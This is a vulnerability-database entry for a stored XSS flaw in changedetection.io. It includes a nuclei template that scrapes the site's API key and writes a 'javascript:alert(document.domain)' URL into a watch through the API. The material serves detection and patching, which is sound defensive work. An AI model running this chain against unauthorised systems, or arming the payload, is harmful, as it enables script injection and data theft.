HexBrain

Browse / CVEs / CVE-2025-62780

CVE-2025-62780· CWE-79

ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API

mediumseverity
6.2CVSS score
0.5%likelihood of exploitation, next 30 days
41%of all CVEs are less likely
Readycheck to confirm it

changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction

Impact

Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user.

Fix

Update to version 0.50.34 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains_all(body, "Change Detection", "changedetection.io") and compare_versions(version, "<= 0.50.33")
Send: GET /settings
Positive when: status_code == 200 and contains(body, "api-key")
Send: PUT /api/v1/watch/{{watch_uuid}}
Positive when: status_code == 200 and contains(body, "OK")
Send: GET /preview/{{watch_uuid}}
Positive when: status_code == 200 and contains_all(body, "javascript:alert(document.domain)", "{{string}}")

Run it with nuclei: nuclei -id CVE-2025-62780 -u <target>

The full check
id: CVE-2025-62780

info:
  name: ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API
  author: 0x_Akoko
  severity: medium
  description: |
    changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user.
  remediation: |
    Update to version 0.50.34 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62780
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 6.2
    cve-id: CVE-2025-62780
    epss-score: 0.00462
    epss-percentile: 0.40373
    cwe-id: CWE-79
  metadata:
    max-request: 4
    verified: true
    shodan-query: title:"Change Detection"
    fofa-query: title="Change Detection"
  tags: cve,cve2025,changedetection,xss,stored,api

variables:
  string: "{{to_lower('{{randstr}}')}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Change Detection", "changedetection.io")'
          - 'compare_versions(version, "<= 0.50.33")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - 'id="right-sticky">v([0-9.]+)<'

      - type: xpath
        name: watch_uuid
        part: body
        internal: true
        attribute: id
        xpath:
          - "//table[contains(@class,'watch-table')]//tbody/tr[1]"

  - raw:
      - |
        GET /settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "api-key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: api_key
        part: body
        internal: true
        group: 1
        regex:
          - 'id="api-key">([a-f0-9]+)</span>'

  - raw:
      - |
        PUT /api/v1/watch/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}
        x-api-key: {{api_key}}
        Content-Type: application/json

        {"url":"javascript:alert(document.domain)","title":"{{string}}","paused":true}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "OK")'
        condition: and
        internal: true

  - raw:
      - |
        GET /preview/{{watch_uuid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "javascript:alert(document.domain)", "{{string}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from